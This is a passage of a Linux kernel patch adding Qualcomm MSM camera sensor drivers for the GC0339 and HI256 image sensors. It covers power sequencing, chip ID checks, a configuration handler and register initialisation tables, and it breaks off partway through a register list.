+#include +#include "msm_sensor.h" +#include "msm_cci.h" +#include "msm_camera_io_util.h" +#include "msm_camera_i2c_mux.h" + + +#define GC0339_SENSOR_NAME "gc0339" +DEFINE_MSM_MUTEX(gc0339_mut); + +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + + +static struct msm_sensor_ctrl_t gc0339_s_ctrl; + +static struct msm_sensor_power_setting gc0339_power_setting[] = { + + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_HIGH, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VDIG, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 24000000, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 1, + }, +}; + +static struct v4l2_subdev_info gc0339_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_SBGGR10_1X10, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static int32_t msm_gc0339_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &gc0339_s_ctrl); +} + +static const struct i2c_device_id gc0339_i2c_id[] = { + {GC0339_SENSOR_NAME, (kernel_ulong_t)&gc0339_s_ctrl}, + { } +}; + +static struct i2c_driver gc0339_i2c_driver = { + .id_table = gc0339_i2c_id, + .probe = msm_gc0339_i2c_probe, + .driver = { + .name = GC0339_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client gc0339_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, +}; + +int32_t gc0339_power_up(struct msm_sensor_ctrl_t *s_ctrl) +{ + int32_t rc = 0, index = 0; + struct msm_sensor_power_setting_array *power_setting_array = NULL; + struct msm_sensor_power_setting *power_setting = NULL; + struct msm_camera_sensor_board_info *data = s_ctrl->sensordata; + struct msm_camera_power_ctrl_t *power_info = &data->power_info; + struct msm_camera_gpio_conf *gpio_conf = power_info->gpio_conf; + + CDBG("%s:%d\n", __func__, __LINE__); + power_setting_array = &s_ctrl->power_setting_array; + + if (gpio_conf->cam_gpiomux_conf_tbl != NULL) { + pr_err("%s:%d mux install\n", __func__, __LINE__); + msm_gpiomux_install( + (struct msm_gpiomux_config *) + gpio_conf->cam_gpiomux_conf_tbl, + gpio_conf->cam_gpiomux_conf_tbl_size); + } + + rc = msm_camera_request_gpio_table( + gpio_conf->cam_gpio_req_tbl, + gpio_conf->cam_gpio_req_tbl_size, 1); + if (rc < 0) { + pr_err("%s: request gpio failed\n", __func__); + return rc; + } + for (index = 0; index < power_setting_array->size; index++) { + CDBG("%s index %d\n", __func__, index); + power_setting = &power_setting_array->power_setting[index]; + CDBG("%s type %d\n", __func__, power_setting->seq_type); + switch (power_setting->seq_type) { + case SENSOR_CLK: + if (power_setting->seq_val >= + power_info->clk_info_size) { + pr_err("%s clk index %d >= max %d\n", __func__, + power_setting->seq_val, + power_info->clk_info_size); + goto power_up_failed; + } + if (power_setting->config_val) + power_info->clk_info[power_setting->seq_val]. + clk_rate = power_setting->config_val; + + rc = msm_cam_clk_enable(power_info->dev, + &power_info->clk_info[0], + (struct clk **)&power_setting->data[0], + power_info->clk_info_size, + 1); + if (rc < 0) { + pr_err("%s: clk enable failed\n", + __func__); + goto power_up_failed; + } + break; + case SENSOR_GPIO: + if (power_setting->seq_val >= SENSOR_GPIO_MAX || + !gpio_conf->gpio_num_info) { + pr_err("%s gpio index %d >= max %d\n", __func__, + power_setting->seq_val, + SENSOR_GPIO_MAX); + goto power_up_failed; + } + pr_debug("%s:%d gpio set val %d\n", __func__, __LINE__, + gpio_conf->gpio_num_info->gpio_num + [power_setting->seq_val]); + if (gpio_conf->gpio_num_info->gpio_num + [power_setting->seq_val]) + gpio_set_value_cansleep( + gpio_conf->gpio_num_info->gpio_num + [power_setting->seq_val], + power_setting->config_val); + break; + case SENSOR_VREG: + if (power_setting->seq_val >= CAM_VREG_MAX) { + pr_err("%s vreg index %d >= max %d\n", __func__, + power_setting->seq_val, + SENSOR_GPIO_MAX); + goto power_up_failed; + } + msm_camera_config_single_vreg(power_info->dev, + &power_info->cam_vreg[power_setting->seq_val], + (struct regulator **)&power_setting->data[0], + 1); + break; + default: + pr_err("%s error power seq type %d\n", __func__, + power_setting->seq_type); + break; + } + if (power_setting->delay > 20) { + msleep(power_setting->delay); + } else if (power_setting->delay) { + usleep_range(power_setting->delay * 1000, + (power_setting->delay * 1000) + 1000); + } + } + + if (s_ctrl->sensor_device_type == MSM_CAMERA_PLATFORM_DEVICE) { + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_util( + s_ctrl->sensor_i2c_client, MSM_CCI_INIT); + if (rc < 0) { + pr_err("%s cci_init failed\n", __func__); + goto power_up_failed; + } + } + + s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write( + s_ctrl->sensor_i2c_client, + 0xfc, + 0x10, MSM_CAMERA_I2C_BYTE_DATA); + + if (s_ctrl->func_tbl->sensor_match_id) + rc = s_ctrl->func_tbl->sensor_match_id(s_ctrl); + else + rc = msm_sensor_match_id(s_ctrl); + if (rc < 0) { + pr_err("%s:%d match id failed rc %d\n", __func__, __LINE__, rc); + goto power_up_failed; + } + + CDBG("%s exit\n", __func__); + return 0; +power_up_failed: + pr_err("%s:%d failed\n", __func__, __LINE__); + if (s_ctrl->sensor_device_type == MSM_CAMERA_PLATFORM_DEVICE) { + s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_util( + s_ctrl->sensor_i2c_client, MSM_CCI_RELEASE); + } + + for (index--; index >= 0; index--) { + CDBG("%s index %d\n", __func__, index); + power_setting = &power_setting_array->power_setting[index]; + CDBG("%s type %d\n", __func__, power_setting->seq_type); + switch (power_setting->seq_type) { + case SENSOR_CLK: + msm_cam_clk_enable(power_info->dev, + &power_info->clk_info[0], + (struct clk **)&power_setting->data[0], + power_info->clk_info_size, + 0); + break; + case SENSOR_GPIO: + if (gpio_conf->gpio_num_info->gpio_num + [power_setting->seq_val]) + gpio_set_value_cansleep( + gpio_conf->gpio_num_info->gpio_num + [power_setting->seq_val], + GPIOF_OUT_INIT_LOW); + break; + case SENSOR_VREG: + msm_camera_config_single_vreg(power_info->dev, + &power_info->cam_vreg[power_setting->seq_val], + (struct regulator **)&power_setting->data[0], + 0); + break; + default: + pr_err("%s error power seq type %d\n", __func__, + power_setting->seq_type); + break; + } + if (power_setting->delay > 20) { + msleep(power_setting->delay); + } else if (power_setting->delay) { + usleep_range(power_setting->delay * 1000, + (power_setting->delay * 1000) + 1000); + } + } + msm_camera_request_gpio_table( + gpio_conf->cam_gpio_req_tbl, + gpio_conf->cam_gpio_req_tbl_size, 0); + return rc; +} + +int32_t gc0339_power_down(struct msm_sensor_ctrl_t *s_ctrl) +{ + int32_t index = 0; + struct msm_sensor_power_setting_array *power_setting_array = NULL; + struct msm_sensor_power_setting *power_setting = NULL; + struct msm_camera_sensor_board_info *data = s_ctrl->sensordata; + struct msm_camera_power_ctrl_t *power_info = &data->power_info; + struct msm_camera_gpio_conf *gpio_conf = power_info->gpio_conf; + + CDBG("%s:%d\n", __func__, __LINE__); + power_setting_array = &s_ctrl->power_setting_array; + + if (s_ctrl->sensor_device_type == MSM_CAMERA_PLATFORM_DEVICE) { + s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_util( + s_ctrl->sensor_i2c_client, MSM_CCI_RELEASE); + } + + s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write( + s_ctrl->sensor_i2c_client, + 0xfc, + 0x01, MSM_CAMERA_I2C_BYTE_DATA); + + for (index = (power_setting_array->size - 1); index >= 0; index--) { + CDBG("%s index %d\n", __func__, index); + power_setting = &power_setting_array->power_setting[index]; + CDBG("%s type %d\n", __func__, power_setting->seq_type); + switch (power_setting->seq_type) { + case SENSOR_CLK: + msm_cam_clk_enable(power_info->dev, + &power_info->clk_info[0], + (struct clk **)&power_setting->data[0], + power_info->clk_info_size, + 0); + break; + case SENSOR_GPIO: + if (power_setting->seq_val >= SENSOR_GPIO_MAX || + !gpio_conf->gpio_num_info) { + pr_err("%s gpio index %d >= max %d\n", __func__, + power_setting->seq_val, + SENSOR_GPIO_MAX); + continue; + } + if (gpio_conf->gpio_num_info->gpio_num + [power_setting->seq_val]) + gpio_set_value_cansleep( + gpio_conf->gpio_num_info->gpio_num + [power_setting->seq_val], + GPIOF_OUT_INIT_LOW); + break; + case SENSOR_VREG: + if (power_setting->seq_val >= CAM_VREG_MAX) { + pr_err("%s vreg index %d >= max %d\n", __func__, + power_setting->seq_val, + SENSOR_GPIO_MAX); + continue; + } + msm_camera_config_single_vreg(power_info->dev, + &power_info->cam_vreg[power_setting->seq_val], + (struct regulator **)&power_setting->data[0], + 0); + break; + default: + pr_err("%s error power seq type %d\n", __func__, + power_setting->seq_type); + break; + } + if (power_setting->delay > 20) { + msleep(power_setting->delay); + } else if (power_setting->delay) { + usleep_range(power_setting->delay * 1000, + (power_setting->delay * 1000) + 1000); + } + } + msm_camera_request_gpio_table( + gpio_conf->cam_gpio_req_tbl, + gpio_conf->cam_gpio_req_tbl_size, 0); + CDBG("%s exit\n", __func__); + return 0; +} + +int32_t gc0339_match_id(struct msm_sensor_ctrl_t *s_ctrl) +{ + int32_t rc = 0; + uint16_t chipid = 0; + + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_read( + s_ctrl->sensor_i2c_client, + s_ctrl->sensordata->slave_info->sensor_id_reg_addr, + &chipid, MSM_CAMERA_I2C_BYTE_DATA); + if (rc < 0) { + pr_err("%s: %s: read id failed\n", __func__, + s_ctrl->sensordata->sensor_name); + return rc; + } + + if (chipid != s_ctrl->sensordata->slave_info->sensor_id) { + pr_err("msm_sensor_match_id chip id doesnot match\n"); + return -ENODEV; + } + return rc; +} + +int32_t gc0339_config(struct msm_sensor_ctrl_t *s_ctrl, + void __user *argp) +{ + struct sensorb_cfg_data *cdata = (struct sensorb_cfg_data *)argp; + int32_t rc = 0; + int32_t i = 0; + mutex_lock(s_ctrl->msm_sensor_mutex); + switch (cdata->cfgtype) { + case CFG_GET_SENSOR_INFO: + memcpy(cdata->cfg.sensor_info.sensor_name, + s_ctrl->sensordata->sensor_name, + sizeof(cdata->cfg.sensor_info.sensor_name)); + cdata->cfg.sensor_info.session_id = + s_ctrl->sensordata->sensor_info->session_id; + for (i = 0; i < SUB_MODULE_MAX; i++) + cdata->cfg.sensor_info.subdev_id[i] = + s_ctrl->sensordata->sensor_info->subdev_id[i]; + cdata->cfg.sensor_info.is_mount_angle_valid = + s_ctrl->sensordata->sensor_info->is_mount_angle_valid; + cdata->cfg.sensor_info.sensor_mount_angle = + s_ctrl->sensordata->sensor_info->sensor_mount_angle; + CDBG("%s:%d sensor name %s\n", __func__, __LINE__, + cdata->cfg.sensor_info.sensor_name); + CDBG("%s:%d session id %d\n", __func__, __LINE__, + cdata->cfg.sensor_info.session_id); + for (i = 0; i < SUB_MODULE_MAX; i++) + CDBG("%s:%d subdev_id[%d] %d\n", __func__, __LINE__, i, + cdata->cfg.sensor_info.subdev_id[i]); + CDBG("%s:%d mount angle valid %d value %d\n", __func__, + __LINE__, cdata->cfg.sensor_info.is_mount_angle_valid, + cdata->cfg.sensor_info.sensor_mount_angle); + + break; + case CFG_GET_SENSOR_INIT_PARAMS: + cdata->cfg.sensor_init_params.modes_supported = + s_ctrl->sensordata->sensor_info->modes_supported; + cdata->cfg.sensor_init_params.position = + s_ctrl->sensordata->sensor_info->position; + cdata->cfg.sensor_init_params.sensor_mount_angle = + s_ctrl->sensordata->sensor_info->sensor_mount_angle; + CDBG("%s:%d init params mode %d pos %d mount %d\n", __func__, + __LINE__, + cdata->cfg.sensor_init_params.modes_supported, + cdata->cfg.sensor_init_params.position, + cdata->cfg.sensor_init_params.sensor_mount_angle); + break; + case CFG_SET_SLAVE_INFO: { + struct msm_camera_sensor_slave_info sensor_slave_info; + struct msm_sensor_power_setting_array *power_setting_array; + int slave_index = 0; + if (copy_from_user(&sensor_slave_info, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_sensor_slave_info))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + /* Update sensor slave address */ + if (sensor_slave_info.slave_addr) { + s_ctrl->sensor_i2c_client->cci_client->sid = + sensor_slave_info.slave_addr >> 1; + } + + /* Update sensor address type */ + s_ctrl->sensor_i2c_client->addr_type = + sensor_slave_info.addr_type; + + /* Update power up / down sequence */ + s_ctrl->power_setting_array = + sensor_slave_info.power_setting_array; + power_setting_array = &s_ctrl->power_setting_array; + power_setting_array->power_setting = kzalloc( + power_setting_array->size * + sizeof(struct msm_sensor_power_setting), GFP_KERNEL); + if (!power_setting_array->power_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(power_setting_array->power_setting, + (void *) + sensor_slave_info.power_setting_array.power_setting, + power_setting_array->size * + sizeof(struct msm_sensor_power_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + CDBG("%s sensor id 0x%x\n", __func__, + sensor_slave_info.slave_addr); + CDBG("%s sensor addr type %d\n", __func__, + sensor_slave_info.addr_type); + CDBG("%s sensor reg 0x%x\n", __func__, + sensor_slave_info.sensor_id_info.sensor_id_reg_addr); + CDBG("%s sensor id 0x%x\n", __func__, + sensor_slave_info.sensor_id_info.sensor_id); + for (slave_index = 0; slave_index < + power_setting_array->size; slave_index++) { + CDBG("%s i %d power setting %d %d %ld %d\n", __func__, + slave_index, + power_setting_array->power_setting[slave_index]. + seq_type, + power_setting_array->power_setting[slave_index]. + seq_val, + power_setting_array->power_setting[slave_index]. + config_val, + power_setting_array->power_setting[slave_index]. + delay); + } + break; + } + case CFG_WRITE_I2C_ARRAY: { + struct msm_camera_i2c_reg_setting conf_array; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + + if (copy_from_user(&conf_array, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + if (conf_array.addr_type == MSM_CAMERA_I2C_WORD_ADDR + || conf_array.data_type == MSM_CAMERA_I2C_WORD_DATA + || !conf_array.size) + break; + + reg_setting = kzalloc(conf_array.size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, + conf_array.size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + + conf_array.reg_setting = reg_setting; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( + s_ctrl->sensor_i2c_client, &conf_array); + kfree(reg_setting); + break; + } + case CFG_WRITE_I2C_SEQ_ARRAY: { + struct msm_camera_i2c_seq_reg_setting conf_array; + struct msm_camera_i2c_seq_reg_array *reg_setting = NULL; + + if (copy_from_user(&conf_array, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_seq_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = kzalloc(conf_array.size * + (sizeof(struct msm_camera_i2c_seq_reg_array)), + GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, + conf_array.size * + sizeof(struct msm_camera_i2c_seq_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + + conf_array.reg_setting = reg_setting; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_seq_table(s_ctrl->sensor_i2c_client, + &conf_array); + kfree(reg_setting); + break; + } + + case CFG_POWER_UP: + if (s_ctrl->func_tbl->sensor_power_up) + rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); + else + rc = -EFAULT; + break; + + case CFG_POWER_DOWN: + if (s_ctrl->func_tbl->sensor_power_down) + rc = s_ctrl->func_tbl->sensor_power_down( + s_ctrl); + else + rc = -EFAULT; + break; + + case CFG_SET_STOP_STREAM_SETTING: { + struct msm_camera_i2c_reg_setting *stop_setting = + &s_ctrl->stop_setting; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + if (copy_from_user(stop_setting, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = stop_setting->reg_setting; + stop_setting->reg_setting = kzalloc(stop_setting->size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!stop_setting->reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(stop_setting->reg_setting, + (void *)reg_setting, + stop_setting->size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(stop_setting->reg_setting); + stop_setting->reg_setting = NULL; + stop_setting->size = 0; + rc = -EFAULT; + break; + } + break; + } + default: + rc = -EFAULT; + break; + } + + mutex_unlock(s_ctrl->msm_sensor_mutex); + return rc; +} + +static struct msm_sensor_fn_t gc0339_sensor_fn_t = { + .sensor_power_up = gc0339_power_up, + .sensor_power_down = gc0339_power_down, + .sensor_match_id = gc0339_match_id, + .sensor_config = gc0339_config, +}; + + +static struct msm_sensor_ctrl_t gc0339_s_ctrl = { + .sensor_i2c_client = &gc0339_sensor_i2c_client, + .power_setting_array.power_setting = gc0339_power_setting, + .power_setting_array.size = ARRAY_SIZE(gc0339_power_setting), + .msm_sensor_mutex = &gc0339_mut, + .sensor_v4l2_subdev_info = gc0339_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(gc0339_subdev_info), + .func_tbl = &gc0339_sensor_fn_t, +}; + +static const struct of_device_id gc0339_dt_match[] = { + {.compatible = "shinetech,gc0339", .data = &gc0339_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, gc0339_dt_match); + +static struct platform_driver gc0339_platform_driver = { + .driver = { + .name = "shinetech,gc0339", + .owner = THIS_MODULE, + .of_match_table = gc0339_dt_match, + }, +}; + +static int32_t gc0339_platform_probe(struct platform_device *pdev) +{ + int32_t rc = 0; + const struct of_device_id *match; + + match = of_match_device(gc0339_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init gc0339_init_module(void) +{ + int32_t rc = 0; + + rc = platform_driver_probe(&gc0339_platform_driver, + gc0339_platform_probe); + if (!rc) + return rc; + return i2c_add_driver(&gc0339_i2c_driver); +} + +static void __exit gc0339_exit_module(void) +{ + if (gc0339_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&gc0339_s_ctrl); + platform_driver_unregister(&gc0339_platform_driver); + } else + i2c_del_driver(&gc0339_i2c_driver); + return; +} + +module_init(gc0339_init_module); +module_exit(gc0339_exit_module); +MODULE_DESCRIPTION("gc0339"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/hi256.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/hi256.c new file mode 100644 index 0000000000000..e61f57a3927d3 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/hi256.c @@ -0,0 +1,2157 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" +#include "msm_cci.h" +#include "msm_camera_io_util.h" +#define HI256_SENSOR_NAME "hi256" +#define PLATFORM_DRIVER_NAME "msm_camera_hi256" + +#define CONFIG_MSMB_CAMERA_DEBUG +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + + +DEFINE_MSM_MUTEX(hi256_mut); +static struct msm_sensor_ctrl_t hi256_s_ctrl; + +static struct msm_sensor_power_setting hi256_power_setting[] = { + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_HIGH, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VDIG, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 24000000, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 10, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 1, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 0, + }, +}; + +static struct msm_camera_i2c_reg_conf hi256_uxga_settings[] = { + {0x03, 0x00}, + {0x01, 0xf1}, + {0x03, 0x20}, + {0x10, 0x1c}, + {0x03, 0x22}, + {0x10, 0x69}, + {0x03, 0x00}, + {0x12, 0x00}, + {0x20, 0x00}, + {0x21, 0x0a}, + {0x22, 0x00}, + {0x23, 0x0a}, + {0x40, 0x01}, + {0x41, 0x68}, + {0x42, 0x00}, + {0x43, 0x12}, + {0x03, 0x10}, + {0x3f, 0x00}, + {0x03, 0x12}, + {0x20, 0x0f}, + {0x21, 0x0f}, + {0x90, 0x5d}, + {0x03, 0x13}, + {0x80, 0xfd}, + {0x03, 0x00}, + {0x10, 0x00}, + {0x03, 0x48}, + {0x72, 0x81}, + {0x30, 0x0c}, + {0x31, 0x80}, + {0x03, 0x00}, + {0x01, 0xf0}, +}; + +static struct msm_camera_i2c_reg_conf hi256_start_settings[] = { + {0x03, 0x00}, + {0x01, 0xf0}, +}; + +static struct msm_camera_i2c_reg_conf hi256_stop_settings[] = { + {0x03, 0x00}, + {0x01, 0xf1}, +}; + +static struct msm_camera_i2c_reg_conf hi256_recommend_settings[] = { + {0x01, 0xf1}, + {0x01, 0xf3}, + {0x01, 0xf1}, + + {0x08, 0x0f}, + {0x0a, 0x00}, + + {0x03, 0x20}, + {0x10, 0x1c}, + {0x03, 0x22}, + {0x10, 0x69}, + + {0x03, 0x00}, + {0x10, 0x13}, + {0x11, 0x90}, /* no H/V flip */ + {0x12, 0x00}, + {0x0b, 0xaa}, + {0x0c, 0xaa}, + {0x0d, 0xaa}, + {0x20, 0x00}, + {0x21, 0x06}, + {0x22, 0x00}, + {0x23, 0x05}, + {0x24, 0x04}, + {0x25, 0xb0}, + {0x26, 0x06}, + {0x27, 0x40}, + {0x40, 0x01}, + {0x41, 0x78}, + {0x42, 0x00}, + {0x43, 0x14}, + {0x45, 0x04}, + {0x46, 0x18}, + {0x47, 0xd8}, + {0x80, 0x2e}, + {0x81, 0x7e}, + {0x82, 0x90}, + {0x83, 0x00}, + {0x84, 0x0c}, + {0x85, 0x00}, + {0x90, 0x0c}, + {0x91, 0x0c}, + {0x92, 0x78}, + {0x93, 0x70}, + {0x94, 0xff}, + {0x95, 0xff}, + {0x96, 0xdc}, + {0x97, 0xfe}, + {0x98, 0x38}, + {0xa0, 0x45}, + {0xa2, 0x45}, + {0xa4, 0x45}, + {0xa6, 0x45}, + {0xa8, 0x45}, + {0xaa, 0x45}, + {0xac, 0x45}, + {0xae, 0x45}, + {0x99, 0x43}, + {0x9a, 0x43}, + {0x9b, 0x43}, + {0x9c, 0x43}, + {0x03, 0x02}, + {0x12, 0x03}, + {0x13, 0x03}, + {0x15, 0x00}, + {0x16, 0x00}, + {0x17, 0x8C}, + {0x18, 0x4c}, + {0x19, 0x00}, + {0x1a, 0x39}, + {0x1c, 0x09}, + {0x1d, 0x40}, + {0x1e, 0x30}, + {0x1f, 0x10}, + {0x20, 0x77}, + {0x21, 0x6d}, + {0x22, 0x77}, + {0x23, 0x30}, + {0x24, 0x77}, + {0x27, 0x3c}, + {0x2b, 0x80}, + {0x2e, 0x00}, + {0x2f, 0x00}, + {0x30, 0x05}, + {0x50, 0x20}, + {0x52, 0x01}, + {0x53, 0xc1}, + {0x55, 0x1c}, + {0x56, 0x11}, + {0x58, 0x22}, + {0x59, 0x20}, + {0x5d, 0xa2}, + {0x5e, 0x5a}, + {0x60, 0x87}, + {0x61, 0x99}, + {0x62, 0x88}, + {0x63, 0x97}, + {0x64, 0x88}, + {0x65, 0x97}, + {0x67, 0x0c}, + {0x68, 0x0c}, + {0x69, 0x0c}, + {0x72, 0x89}, + {0x73, 0x96}, + {0x74, 0x89}, + {0x75, 0x96}, + {0x76, 0x89}, + {0x77, 0x96}, + {0x7c, 0x85}, + {0x7d, 0xaf}, + {0x80, 0x01}, + {0x81, 0x7f}, + {0x82, 0x13}, + {0x83, 0x24}, + {0x84, 0x7d}, + {0x85, 0x81}, + {0x86, 0x7d}, + {0x87, 0x81}, + {0x92, 0x48}, + {0x93, 0x54}, + {0x94, 0x7d}, + {0x95, 0x81}, + {0x96, 0x7d}, + {0x97, 0x81}, + {0xa0, 0x02}, + {0xa1, 0x7b}, + {0xa2, 0x02}, + {0xa3, 0x7b}, + {0xa4, 0x7b}, + {0xa5, 0x02}, + {0xa6, 0x7b}, + {0xa7, 0x02}, + {0xa8, 0x85}, + {0xa9, 0x8c}, + {0xaa, 0x85}, + {0xab, 0x8c}, + {0xac, 0x10}, + {0xad, 0x16}, + {0xae, 0x10}, + {0xaf, 0x16}, + {0xb0, 0x99}, + {0xb1, 0xa3}, + {0xb2, 0xa4}, + {0xb3, 0xae}, + {0xb4, 0x9b}, + {0xb5, 0xa2}, + {0xb6, 0xa6}, + {0xb7, 0xac}, + {0xb8, 0x9b}, + {0xb9, 0x9f}, + {0xba, 0xa6}, + {0xbb, 0xaa}, + {0xbc, 0x9b}, + {0xbd, 0x9f}, + {0xbe, 0xa6}, + {0xbf, 0xaa}, + {0xc4, 0x2c}, + {0xc5, 0x43}, + {0xc6, 0x63}, + {0xc7, 0x79}, + {0xc8, 0x2d}, + {0xc9, 0x42}, + {0xca, 0x2d}, + {0xcb, 0x42}, + {0xcc, 0x64}, + {0xcd, 0x78}, + {0xce, 0x64}, + {0xcf, 0x78}, + {0xd0, 0x0a}, + {0xd1, 0x09}, + {0xd4, 0x0c}, + {0xd5, 0x0c}, + {0xd6, 0x78}, + {0xd7, 0x70}, + {0xe0, 0xc4}, + {0xe1, 0xc4}, + {0xe2, 0xc4}, + {0xe3, 0xc4}, + {0xe4, 0x00}, + {0xe8, 0x80}, + {0xe9, 0x40}, + {0xea, 0x7f}, + {0xf0, 0xc1}, + {0xf1, 0xc1}, + {0xf2, 0xc1}, + {0xf3, 0xc1}, + {0xf4, 0xc1}, + {0x03, 0x03}, + {0x10, 0x10}, + {0x03, 0x10}, + {0x10, 0x03}, + {0x12, 0x30}, + {0x13, 0x02}, + {0x20, 0x00}, + {0x30, 0x00}, + {0x31, 0x00}, + {0x32, 0x00}, + {0x33, 0x00}, + {0x34, 0x30}, + {0x35, 0x00}, + {0x36, 0x00}, + {0x38, 0x00}, + {0x3e, 0x58}, + {0x3f, 0x00}, + {0x40, 0x80}, + {0x41, 0x00}, + {0x48, 0x95}, + {0x60, 0x67}, + {0x61, 0x88}, + {0x62, 0x90}, + {0x63, 0x50}, + {0x64, 0x41}, + {0x66, 0x42}, + {0x67, 0x20}, + {0x6a, 0x71}, + {0x6b, 0x84}, + {0x6c, 0x72}, + {0x6d, 0x83}, + {0x03, 0x11}, + {0x10, 0x7f}, + {0x11, 0x40}, + {0x12, 0x0a}, + {0x13, 0xbb}, + {0x26, 0x31}, + {0x27, 0x34}, + {0x28, 0x0f}, + {0x29, 0x10}, + {0x2b, 0x30}, + {0x2c, 0x32}, + {0x30, 0x70}, + {0x31, 0x10}, + {0x32, 0x58}, + {0x33, 0x09}, + {0x34, 0x06}, + {0x35, 0x03}, + {0x36, 0x70}, + {0x37, 0x18}, + 